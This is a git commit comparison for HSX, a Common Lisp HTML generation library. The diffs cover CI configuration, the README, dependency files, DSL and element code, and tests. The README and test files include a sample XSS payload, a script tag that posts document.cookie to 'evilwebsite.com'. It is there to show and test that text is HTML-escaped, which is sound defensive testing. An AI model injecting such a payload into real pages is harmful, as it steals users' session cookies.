Compare commits
No commits in common. "master" and "0.3.0" have entirely different histories.
15 changed files with 240 additions and 331 deletions
|
@ -1,70 +0,0 @@
|
|||
name: 'CI'
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- 'master'
|
||||
pull_request:
|
||||
|
||||
jobs:
|
||||
test:
|
||||
runs-on: docker
|
||||
|
||||
strategy:
|
||||
matrix:
|
||||
lisp:
|
||||
- sbcl-bin
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Restore cache
|
||||
id: restore-cache
|
||||
uses: actions/cache/restore@v4
|
||||
with:
|
||||
path: |
|
||||
~/.roswell
|
||||
/usr/local/bin/ros
|
||||
/usr/local/etc/roswell/
|
||||
qlfile
|
||||
qlfile.lock
|
||||
.qlot
|
||||
~/.cache/common-lisp/
|
||||
key: roswell-${{ runner.os }}-${{ matrix.lisp }}-${{ hashFiles('qlfile', 'qlfile.lock', '*.asd') }}
|
||||
|
||||
- name: Install Roswell
|
||||
if: steps.restore-cache.outputs.cache-hit != 'true'
|
||||
env:
|
||||
LISP: ${{ matrix.lisp }}
|
||||
run: |
|
||||
curl -L https://raw.githubusercontent.com/roswell/roswell/master/scripts/install-for-ci.sh | sh
|
||||
|
||||
- name: Install Qlot
|
||||
if: steps.restore-cache.outputs.cache-hit != 'true'
|
||||
run: |
|
||||
ros install fukamachi/qlot
|
||||
|
||||
- name: Install dependencies
|
||||
if: steps.restore-cache.outputs.cache-hit != 'true'
|
||||
run: |
|
||||
PATH="~/.roswell/bin:$PATH"
|
||||
qlot install
|
||||
qlot exec ros install hsx
|
||||
|
||||
- name: Save cache
|
||||
id: save-cache
|
||||
uses: actions/cache/save@v4
|
||||
if: steps.restore-cache.outputs.cache-hit != 'true'
|
||||
with:
|
||||
path: |
|
||||
~/.roswell
|
||||
/usr/local/bin/ros
|
||||
/usr/local/etc/roswell/
|
||||
qlfile
|
||||
qlfile.lock
|
||||
.qlot
|
||||
~/.cache/common-lisp/
|
||||
key: ${{ steps.restore-cache.outputs.cache-primary-key }}
|
||||
|
||||
- name: Run tests
|
||||
run: .qlot/bin/rove hsx.asd
|
|
@ -1,4 +1,4 @@
|
|||
name: 'CI'
|
||||
name: 'test'
|
||||
|
||||
on:
|
||||
push:
|
||||
|
@ -7,15 +7,15 @@ on:
|
|||
pull_request:
|
||||
|
||||
jobs:
|
||||
test:
|
||||
tests:
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
|
||||
strategy:
|
||||
matrix:
|
||||
lisp:
|
||||
- sbcl-bin
|
||||
- ccl-bin
|
||||
|
||||
|
||||
env:
|
||||
LISP: ${{ matrix.lisp }}
|
||||
|
2
LICENSE
2
LICENSE
|
@ -1,4 +1,4 @@
|
|||
Copyright 2024 Akira Tempaku
|
||||
Copyright 2024 skyizwhite
|
||||
Copyright 2018 Bo Yao
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
|
||||
|
|
264
README.md
264
README.md
|
@ -1,185 +1,145 @@
|
|||
# HSX – Hypertext S-expression
|
||||
# HSX
|
||||
|
||||
**HSX** is a simple and powerful HTML generation library for Common Lisp, inspired by JSX. It allows you to write HTML using native Lisp syntax.
|
||||
HSX (Hypertext S-expression) is a simple yet powerful HTML5 generation library for Common Lisp. It was forked from [flute](https://github.com/ailisp/flute/).
|
||||
|
||||
[Practical usage example](https://github.com/skyizwhite/website)
|
||||
## Introduction
|
||||
|
||||
> 🚧 **BETA NOTICE:**
|
||||
> This library is still in early development. APIs may change.
|
||||
> See [release notes](https://github.com/skyizwhite/hsx/releases) for details.
|
||||
HSX allows you to generate HTML using S-expressions, providing a more Lisp-friendly way to create web content. By using the `hsx` macro, you can define HTML elements and their attributes in a concise and readable manner.
|
||||
|
||||
## ⚙️ How HSX Works
|
||||
## Getting Started
|
||||
|
||||
Every tag or component inside an `(hsx ...)` form is transformed into a Lisp expression of the form:
|
||||
### Basic Usage
|
||||
|
||||
```lisp
|
||||
(create-element type props children)
|
||||
```
|
||||
|
||||
For example:
|
||||
Use the `hsx` macro to create HTML elements. Attributes are specified using a property list following the element name, and child elements are nested directly within.
|
||||
|
||||
```lisp
|
||||
(hsx
|
||||
(article :class "container"
|
||||
(h1 "Title")
|
||||
(p "Paragraph")
|
||||
(~share-button :service :x))
|
||||
```
|
||||
Is internally transformed (by macro expansion) into:
|
||||
|
||||
```lisp
|
||||
(create-element :article
|
||||
(list :class "container")
|
||||
(list (create-element :h1
|
||||
(list)
|
||||
(list "Title"))
|
||||
(create-element :p
|
||||
(list)
|
||||
(list "Paragraph"))
|
||||
(create-element #'~share-button
|
||||
(list :service :x)
|
||||
(list))))
|
||||
(div :id "example" :class "container"
|
||||
(h1 "Welcome to HSX")
|
||||
(p "This is an example paragraph.")))
|
||||
```
|
||||
|
||||
## 🚀 Quick Example
|
||||
This generates:
|
||||
|
||||
```html
|
||||
<div id="example" class="container">
|
||||
<h1>Welcome to HSX</h1>
|
||||
<p>This is an example paragraph.</p>
|
||||
</div>
|
||||
```
|
||||
|
||||
## Examples
|
||||
|
||||
### Dynamic Content
|
||||
|
||||
HSX allows embedding Common Lisp code directly within your HTML structure, making it easy to generate dynamic content.
|
||||
|
||||
```lisp
|
||||
(hsx
|
||||
(div :id "main" :class "container"
|
||||
(h1 "Hello, HSX!")
|
||||
(p "This is a simple paragraph.")))
|
||||
(div
|
||||
(p :id (format nil "id-~a" (random 100)))
|
||||
(ul
|
||||
(loop
|
||||
:for i :from 1 :to 5 :collect
|
||||
(hsx (li (format nil "Item ~a" i)))))
|
||||
(if (> (random 10) 5)
|
||||
(hsx (p "Condition met!"))
|
||||
(hsx (p "Condition not met!")))))
|
||||
```
|
||||
|
||||
This might generate:
|
||||
|
||||
```html
|
||||
<div>
|
||||
<p id="id-42"></p>
|
||||
<ul>
|
||||
<li>Item 1</li>
|
||||
<li>Item 2</li>
|
||||
<li>Item 3</li>
|
||||
<li>Item 4</li>
|
||||
<li>Item 5</li>
|
||||
</ul>
|
||||
<p>Condition not met!</p>
|
||||
</div>
|
||||
```
|
||||
|
||||
### Using Fragments
|
||||
|
||||
To group multiple elements without adding an extra wrapper, use the fragment `<>`.
|
||||
|
||||
```lisp
|
||||
(hsx
|
||||
(<>
|
||||
(h1 "Grouped Elements")
|
||||
(p "First paragraph.")
|
||||
(p "Second paragraph.")))
|
||||
```
|
||||
|
||||
This generates:
|
||||
|
||||
```html
|
||||
<h1>Grouped Elements</h1>
|
||||
<p>First paragraph.</p>
|
||||
<p>Second paragraph.</p>
|
||||
```
|
||||
|
||||
## Creating Components
|
||||
|
||||
You can define reusable components with the `defcomp` macro. Components are functions that can take keyword arguments and properties.
|
||||
|
||||
```lisp
|
||||
(defcomp card (&key title children)
|
||||
(hsx
|
||||
(div :class "card"
|
||||
(h1 title)
|
||||
children)))
|
||||
```
|
||||
|
||||
Or using a property list:
|
||||
|
||||
```lisp
|
||||
(defcomp card (&rest props)
|
||||
(hsx
|
||||
(div :class "card"
|
||||
(h1 (getf props :title))
|
||||
(getf props :children))))
|
||||
```
|
||||
|
||||
Usage example:
|
||||
|
||||
```lisp
|
||||
(hsx
|
||||
(card :title "Card Title"
|
||||
(p "This is a card component.")))
|
||||
```
|
||||
|
||||
Generates:
|
||||
|
||||
```html
|
||||
<div id="main" class="container">
|
||||
<h1>Hello, HSX!</h1>
|
||||
<p>This is a simple paragraph.</p>
|
||||
<div class="card">
|
||||
<h1>Card Title</h1>
|
||||
<p>This is a card component.</p>
|
||||
</div>
|
||||
```
|
||||
|
||||
## 📝 Rendering
|
||||
## Rendering HTML
|
||||
|
||||
Use `render-to-string` to convert an HSX structure to a string of HTML:
|
||||
To render HSX to an HTML string, use the `render-to-string` function.
|
||||
|
||||
```lisp
|
||||
(render-to-string
|
||||
(hsx ...))
|
||||
```
|
||||
|
||||
## 🔐 Escaping text
|
||||
|
||||
All elements automatically escape special characters in content to prevent XSS and HTML injection:
|
||||
|
||||
```lisp
|
||||
(hsx
|
||||
(div "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>"))
|
||||
```
|
||||
Outputs:
|
||||
|
||||
```html
|
||||
<div><script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script></div>
|
||||
```
|
||||
|
||||
Use the special tag `raw!` to inject trusted, unescaped HTML:
|
||||
|
||||
```lisp
|
||||
(hsx
|
||||
(article (raw! "HTML text here ..."))
|
||||
```
|
||||
|
||||
## 🧩 Fragments
|
||||
|
||||
Use `<>` tag to group multiple sibling elements without wrapping them in a container tag:
|
||||
|
||||
```lisp
|
||||
(hsx
|
||||
(<>
|
||||
(p "One")
|
||||
(p "Two")))
|
||||
```
|
||||
|
||||
Outputs:
|
||||
|
||||
```html
|
||||
<p>One</p>
|
||||
<p>Two</p>
|
||||
```
|
||||
|
||||
Note: `raw!` tag is a fragment that disables HTML escaping for its children.
|
||||
|
||||
## 🧱 Components
|
||||
|
||||
Define reusable components using `defcomp` macro. Component names must start with `~`.
|
||||
|
||||
*Keyword-style*
|
||||
|
||||
```lisp
|
||||
(defcomp ~card (&key title children)
|
||||
(hsx
|
||||
(div :class "card"
|
||||
(h2 title)
|
||||
children)))
|
||||
(div :class "content"
|
||||
(h1 "Rendered to String")
|
||||
(p "This HTML is generated as a string."))))
|
||||
```
|
||||
|
||||
*Property-list style*
|
||||
## License
|
||||
|
||||
```lisp
|
||||
(defcomp ~card (&rest props)
|
||||
(hsx
|
||||
(div :class "card"
|
||||
(h2 (getf props :title))
|
||||
(getf props :children))))
|
||||
```
|
||||
This project is licensed under the MIT License.
|
||||
|
||||
### Usage
|
||||
© 2024 skyizwhite
|
||||
|
||||
```lisp
|
||||
(hsx
|
||||
(~card :title "Hello"
|
||||
(p "This is a card.")))
|
||||
```
|
||||
© 2018 Bo Yao
|
||||
|
||||
Outputs:
|
||||
|
||||
```html
|
||||
<div class="card">
|
||||
<h2>Hello</h2>
|
||||
<p>This is a card.</p>
|
||||
</div>
|
||||
```
|
||||
|
||||
## 🧬 Logic and Interpolation
|
||||
|
||||
You can freely embed Lisp expressions, conditionals, and loops inside HSX forms:
|
||||
|
||||
```lisp
|
||||
(hsx
|
||||
(div
|
||||
(if (> (random 10) 5)
|
||||
(hsx (p "High!"))
|
||||
(hsx (p "Low!")))))
|
||||
```
|
||||
|
||||
Or loop:
|
||||
|
||||
```lisp
|
||||
(hsx
|
||||
(ul
|
||||
(loop :for item :in todo-list :collect
|
||||
(hsx (li item))))))
|
||||
```
|
||||
|
||||
## Utils
|
||||
|
||||
- `(clsx &rest strs)`: A utility function for constructing class strings conditionally. It removes `nil` from the string list, then joins the remaining strings with spaces.
|
||||
|
||||
## 📄 License
|
||||
|
||||
MIT License
|
||||
|
||||
© 2024 Akira Tempaku
|
||||
|
||||
© 2018 Bo Yao (original [flute](https://github.com/ailisp/flute) project)
|
||||
|
||||
Feel free to contribute to the project and report any issues or feature requests on the [GitHub repository](https://github.com/skyizwhite/hsx).
|
||||
|
|
8
hsx.asd
8
hsx.asd
|
@ -1,8 +1,8 @@
|
|||
(defsystem "hsx"
|
||||
:version "0.6.0"
|
||||
:description "Simple and powerful HTML generation library."
|
||||
:author "Akira Tempaku, Bo Yao"
|
||||
:maintainer "Akira Tempaku <paku@skyizwhite.dev>"
|
||||
:version "0.3.0"
|
||||
:description "Hypertext S-expression"
|
||||
:author "skyizwhite, Bo Yao"
|
||||
:maintainer "skyizwhite <paku@skyizwhite.dev>"
|
||||
:license "MIT"
|
||||
:long-description #.(uiop:read-file-string
|
||||
(uiop:subpathname *load-pathname* "README.md"))
|
||||
|
|
6
qlfile
6
qlfile
|
@ -1,6 +1,6 @@
|
|||
ql alexandria
|
||||
ql cl-str
|
||||
|
||||
git rove https://github.com/fukamachi/rove
|
||||
git dissect https://github.com/Shinmera/dissect ; workaround
|
||||
git mstrings https://git.sr.ht/~shunter/mstrings
|
||||
github rove fukamachi/rove
|
||||
github dissect Shinmera/dissect ; workaround
|
||||
ql mstrings
|
||||
|
|
24
qlfile.lock
24
qlfile.lock
|
@ -1,24 +1,24 @@
|
|||
("quicklisp" .
|
||||
(:class qlot/source/dist:source-dist
|
||||
:initargs (:distribution "https://beta.quicklisp.org/dist/quicklisp.txt" :%version :latest)
|
||||
:version "2024-10-12"))
|
||||
:version "2023-10-21"))
|
||||
("alexandria" .
|
||||
(:class qlot/source/ql:source-ql
|
||||
:initargs (:%version :latest)
|
||||
:version "ql-2024-10-12"))
|
||||
:version "ql-2023-10-21"))
|
||||
("cl-str" .
|
||||
(:class qlot/source/ql:source-ql
|
||||
:initargs (:%version :latest)
|
||||
:version "ql-2024-10-12"))
|
||||
:version "ql-2023-10-21"))
|
||||
("rove" .
|
||||
(:class qlot/source/git:source-git
|
||||
:initargs (:remote-url "https://github.com/fukamachi/rove")
|
||||
:version "git-cacea7331c10fe9d8398d104b2dfd579bf7ea353"))
|
||||
(:class qlot/source/github:source-github
|
||||
:initargs (:repos "fukamachi/rove" :ref nil :branch nil :tag nil)
|
||||
:version "github-cacea7331c10fe9d8398d104b2dfd579bf7ea353"))
|
||||
("dissect" .
|
||||
(:class qlot/source/git:source-git
|
||||
:initargs (:remote-url "https://github.com/Shinmera/dissect")
|
||||
:version "git-a70cabcd748cf7c041196efd711e2dcca2bbbb2c"))
|
||||
(:class qlot/source/github:source-github
|
||||
:initargs (:repos "Shinmera/dissect" :ref nil :branch nil :tag nil)
|
||||
:version "github-a70cabcd748cf7c041196efd711e2dcca2bbbb2c"))
|
||||
("mstrings" .
|
||||
(:class qlot/source/git:source-git
|
||||
:initargs (:remote-url "https://git.sr.ht/~shunter/mstrings")
|
||||
:version "git-7a94c070141c7cd03bbd3648b17724c3bf143393"))
|
||||
(:class qlot/source/ql:source-ql
|
||||
:initargs (:%version :latest)
|
||||
:version "ql-2023-10-21"))
|
||||
|
|
|
@ -20,5 +20,4 @@
|
|||
noscript object ol optgroup option output p param picture pre progress
|
||||
q rp rt ruby s samp script section select small source span strong
|
||||
style sub summary sup svg table tbody td template textarea tfoot th
|
||||
thead |time| title tr track u ul var video wbr
|
||||
<> raw!)
|
||||
thead |time| title tr track u ul var video wbr <>)
|
||||
|
|
51
src/dsl.lisp
51
src/dsl.lisp
|
@ -10,43 +10,37 @@
|
|||
#:defcomp))
|
||||
(in-package #:hsx/dsl)
|
||||
|
||||
;;; hsx macro
|
||||
;;;; hsx macro
|
||||
|
||||
(defmacro hsx (form)
|
||||
"Detect HSX elements and automatically import them."
|
||||
(detect-elements form))
|
||||
"Detect built-in HSX elements and automatically import them."
|
||||
(find-builtin-symbols form))
|
||||
|
||||
(defun detect-builtin-element (sym)
|
||||
(defun get-builtin-symbol (sym)
|
||||
(multiple-value-bind (builtin-sym kind)
|
||||
(find-symbol (string sym) :hsx/builtin)
|
||||
(and (eq kind :external) builtin-sym)))
|
||||
|
||||
(defun start-with-tilde-p (sym)
|
||||
(string= "~" (subseq (string sym) 0 1)))
|
||||
|
||||
(defun detect-component (sym)
|
||||
(and (start-with-tilde-p sym) sym))
|
||||
|
||||
(defun detect-elements (form)
|
||||
(defun find-builtin-symbols (form)
|
||||
(check-type form cons)
|
||||
(let* ((head (first form))
|
||||
(tail (rest form))
|
||||
(detected-sym (and (symbolp head)
|
||||
(not (keywordp head))
|
||||
(or (detect-builtin-element head)
|
||||
(detect-component head)))))
|
||||
(if (and (listp tail) detected-sym)
|
||||
(cons detected-sym
|
||||
(well-formed-p (listp tail))
|
||||
(builtin-sym (and (symbolp head)
|
||||
(not (keywordp head))
|
||||
(get-builtin-symbol head))))
|
||||
(if (and well-formed-p builtin-sym)
|
||||
(cons builtin-sym
|
||||
(mapcar (lambda (sub-form)
|
||||
(if (consp sub-form)
|
||||
(detect-elements sub-form)
|
||||
(find-builtin-symbols sub-form)
|
||||
sub-form))
|
||||
tail))
|
||||
form)))
|
||||
|
||||
;;; defhsx macro
|
||||
;;;; defhsx macro
|
||||
|
||||
(defmacro defhsx (name element-type)
|
||||
; Use a macro instead of a function to enable semantic indentation similar to HTML.
|
||||
`(defmacro ,name (&body body)
|
||||
`(%create-element ,',element-type ,@body)))
|
||||
|
||||
|
@ -73,19 +67,16 @@
|
|||
`(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(defhsx ,name ,(make-keyword name))))
|
||||
|
||||
(defmacro defcomp (~name props &body body)
|
||||
"Define an HSX function component.
|
||||
The component name must start with a tilde (~).
|
||||
Component properties must be declared using &key, &rest, or both.
|
||||
The body of the component must produce a valid HSX element."
|
||||
(unless (start-with-tilde-p ~name)
|
||||
(error "The component name must start with a tilde (~~)."))
|
||||
(defmacro defcomp (name props &body body)
|
||||
"Define a function component for use in HSX.
|
||||
The props must be declared with either &key or &rest (or both).
|
||||
The body must return an HSX element."
|
||||
(unless (or (null props)
|
||||
(member '&key props)
|
||||
(member '&rest props))
|
||||
(error "Component properties must be declared using &key, &rest, or both."))
|
||||
(let ((%name (symbolicate '% ~name)))
|
||||
(error "Component properties must be declared with either &key, &rest, or both."))
|
||||
(let ((%name (symbolicate '% name)))
|
||||
`(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(defun ,%name ,props
|
||||
,@body)
|
||||
(defhsx ,~name (fdefinition ',%name)))))
|
||||
(defhsx ,name (fdefinition ',%name)))))
|
||||
|
|
|
@ -3,14 +3,15 @@
|
|||
(:import-from #:str
|
||||
#:collapse-whitespaces)
|
||||
(:import-from #:hsx/utils
|
||||
#:escape-html-text-content
|
||||
#:escape-html-attribute)
|
||||
#:defgroup
|
||||
#:escape-html-attribute
|
||||
#:escape-html-text-content)
|
||||
(:export #:element
|
||||
#:tag
|
||||
#:html-tag
|
||||
#:self-closing-tag
|
||||
#:non-escaping-tag
|
||||
#:fragment
|
||||
#:raw-fragment
|
||||
#:component
|
||||
#:create-element
|
||||
#:element-type
|
||||
|
@ -22,10 +23,12 @@
|
|||
|
||||
;;; tag group definitions
|
||||
|
||||
(deftype self-closing-tag-sym ()
|
||||
'(member
|
||||
:area :base :br :col :embed :hr :img :input
|
||||
:link :meta :param :source :track :wbr))
|
||||
(defgroup self-closing-tag
|
||||
area base br col embed hr img input
|
||||
link meta param source track wbr)
|
||||
|
||||
(defgroup non-escaping-tag
|
||||
script style)
|
||||
|
||||
;;;; class definitions
|
||||
|
||||
|
@ -46,9 +49,9 @@
|
|||
|
||||
(defclass self-closing-tag (tag) ())
|
||||
|
||||
(defclass fragment (tag) ())
|
||||
(defclass non-escaping-tag (tag) ())
|
||||
|
||||
(defclass raw-fragment (fragment) ())
|
||||
(defclass fragment (tag) ())
|
||||
|
||||
(defclass component (element) ())
|
||||
|
||||
|
@ -58,9 +61,9 @@
|
|||
(make-instance
|
||||
(cond ((functionp type) 'component)
|
||||
((eq type :<>) 'fragment)
|
||||
((eq type :raw!) 'raw-fragment)
|
||||
((eq type :html) 'html-tag)
|
||||
((typep type 'self-closing-tag-sym) 'self-closing-tag)
|
||||
((self-closing-tag-p type) 'self-closing-tag)
|
||||
((non-escaping-tag-p type) 'non-escaping-tag)
|
||||
((keywordp type) 'tag)
|
||||
(t (error "element-type must be a keyword or a function.")))
|
||||
:type type
|
||||
|
@ -92,7 +95,7 @@
|
|||
(if children
|
||||
(format stream
|
||||
(if (or (rest children)
|
||||
(typep (first children) '(and element (not fragment))))
|
||||
(typep (first children) 'element))
|
||||
"~@<<~a~a>~2I~:@_~<~@{~a~^~:@_~}~:>~0I~:@_</~a>~:>"
|
||||
"~@<<~a~a>~2I~:_~<~a~^~:@_~:>~0I~_</~a>~:>")
|
||||
type
|
||||
|
@ -145,7 +148,7 @@
|
|||
child))
|
||||
(element-children element)))
|
||||
|
||||
(defmethod render-children ((element raw-fragment))
|
||||
(defmethod render-children ((element non-escaping-tag))
|
||||
(element-children element))
|
||||
|
||||
(defmethod expand-component ((element component))
|
||||
|
|
|
@ -2,11 +2,9 @@
|
|||
(:nicknames #:hsx/main)
|
||||
(:use #:cl
|
||||
#:hsx/element
|
||||
#:hsx/dsl
|
||||
#:hsx/utils)
|
||||
#:hsx/dsl)
|
||||
(:import-from #:hsx/builtin)
|
||||
(:export #:hsx
|
||||
#:defcomp
|
||||
#:render-to-string
|
||||
#:clsx))
|
||||
#:render-to-string))
|
||||
(in-package :hsx)
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
#:symbolicate)
|
||||
(:export #:escape-html-attribute
|
||||
#:escape-html-text-content
|
||||
#:clsx))
|
||||
#:defgroup))
|
||||
(in-package #:hsx/utils)
|
||||
|
||||
(defparameter *text-content-escape-map*
|
||||
|
@ -42,5 +42,17 @@
|
|||
(defun escape-html-attribute (str)
|
||||
(escape-string str *attribute-escape-map*))
|
||||
|
||||
(defun clsx (&rest strs)
|
||||
(format nil "~{~a~^ ~}" (remove nil strs)))
|
||||
(defun make-keyword-hash-table (symbols)
|
||||
(let ((ht (make-hash-table)))
|
||||
(mapcar (lambda (sym)
|
||||
(setf (gethash (make-keyword sym) ht) t))
|
||||
symbols)
|
||||
ht))
|
||||
|
||||
(defmacro defgroup (name &body symbols)
|
||||
(let ((param-name (symbolicate '* name '*))
|
||||
(pred-name (symbolicate name '-p)))
|
||||
`(progn
|
||||
(defparameter ,param-name (make-keyword-hash-table ',symbols))
|
||||
(defun ,pred-name (keyword)
|
||||
(gethash keyword ,param-name)))))
|
||||
|
|
|
@ -8,34 +8,33 @@
|
|||
#:element-children))
|
||||
(in-package #:hsx-test/dsl)
|
||||
|
||||
(defcomp ~comp1 (&key children)
|
||||
(hsx (div children)))
|
||||
|
||||
(deftest detect-elements-test
|
||||
(testing "detect-tags"
|
||||
(deftest find-builtin-symbols-test
|
||||
(testing "normal-cases"
|
||||
(ok (expands '(hsx (div div div))
|
||||
'(hsx/builtin:div div div)))
|
||||
(ok (expands '(hsx (div (div div (div))))
|
||||
'(hsx/builtin:div
|
||||
(hsx/builtin:div
|
||||
div
|
||||
(hsx/builtin:div))))))
|
||||
(hsx/builtin:div)))))
|
||||
(ok (expands '(hsx (div
|
||||
(labels ((div () "div"))
|
||||
(hsx (div)))))
|
||||
'(hsx/builtin:div
|
||||
(labels ((div () "div"))
|
||||
(hsx (div)))))))
|
||||
|
||||
(testing "detect-components"
|
||||
(ok (expands '(hsx (~comp1 (div)))
|
||||
'(~comp1 (hsx/builtin:div)))))
|
||||
|
||||
(testing "ignore-malformed-form"
|
||||
(testing "ignore-cases"
|
||||
(ok (expands '(hsx (div . div))
|
||||
'(div . div)))
|
||||
(ok (expands '(hsx ((div)))
|
||||
'((div)))))
|
||||
|
||||
(testing "ignore-cl-form"
|
||||
(ok (expands '(hsx (labels ((div () "div"))
|
||||
(div)))
|
||||
'(labels ((div () "div"))
|
||||
(div))))))
|
||||
'((div))))
|
||||
(ok (expands '(hsx (div
|
||||
(labels ((div () "div"))
|
||||
(div))))
|
||||
'(hsx/builtin:div
|
||||
(labels ((div () "div"))
|
||||
(div)))))))
|
||||
|
||||
(deftest dsl-test
|
||||
(testing "empty-hsx"
|
||||
|
|
|
@ -15,6 +15,7 @@
|
|||
(ok (typep (create-element :div nil nil) 'tag))
|
||||
(ok (typep (create-element :html nil nil) 'html-tag))
|
||||
(ok (typep (create-element :img nil nil) 'self-closing-tag))
|
||||
(ok (typep (create-element :style nil nil) 'non-escaping-tag))
|
||||
(ok (typep (create-element :<> nil nil) 'fragment))
|
||||
(ok (typep (create-element (lambda ()) nil nil) 'component))
|
||||
(ok (signals (create-element "div" nil nil))))
|
||||
|
@ -95,6 +96,21 @@
|
|||
(list :src "/background.png")
|
||||
nil)
|
||||
:pretty t))))
|
||||
|
||||
(testing "escaping-tag"
|
||||
(ok (string= "<div><script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script></div>"
|
||||
(render-to-string
|
||||
(create-element :div
|
||||
nil
|
||||
(list "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>"))))))
|
||||
|
||||
(testing "non-escaping-tag"
|
||||
(ok (string= "<script>alert('<< Do not embed user-generated contents here! >>')</script>"
|
||||
(render-to-string
|
||||
(create-element :script
|
||||
nil
|
||||
"alert('<< Do not embed user-generated contents here! >>')")))))
|
||||
|
||||
(testing "fragment"
|
||||
(let ((frg (create-element :<>
|
||||
nil
|
||||
|
@ -124,21 +140,6 @@
|
|||
(list "brah"))))
|
||||
:pretty t)))))
|
||||
|
||||
|
||||
(testing "raw-fragment"
|
||||
(ok (string= "<div><script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script></div>"
|
||||
(render-to-string
|
||||
(create-element :div
|
||||
nil
|
||||
(list "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>")))))
|
||||
(ok (string= "<script>alert('<< Do not embed user-generated contents here! >>')</script>"
|
||||
(render-to-string
|
||||
(create-element :script
|
||||
nil
|
||||
(create-element :raw!
|
||||
nil
|
||||
"alert('<< Do not embed user-generated contents here! >>')"))))))
|
||||
|
||||
(testing "minify-props-text"
|
||||
(let ((elm (create-element :div
|
||||
'(:x-data "{
|
||||
|
|
|
@ -12,3 +12,19 @@
|
|||
(testing "escape-html-text-content"
|
||||
(ok (string= "&<>"'/`="
|
||||
(escape-html-text-content "&<>\"'/`=")))))
|
||||
|
||||
(defgroup fruit
|
||||
apple banana)
|
||||
|
||||
(deftest group-util-test
|
||||
(testing "defgroup"
|
||||
(ok (expands '(defgroup fruit apple banana)
|
||||
'(progn
|
||||
(defparameter *fruit*
|
||||
(hsx/utils::make-keyword-hash-table '(apple banana)))
|
||||
(defun fruit-p (keyword)
|
||||
(gethash keyword *fruit*)))))
|
||||
(ok (hash-table-p *fruit*))
|
||||
(ok (fboundp 'fruit-p))
|
||||
(ok (fruit-p :apple))
|
||||
(ng (fruit-p :tomato))))
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue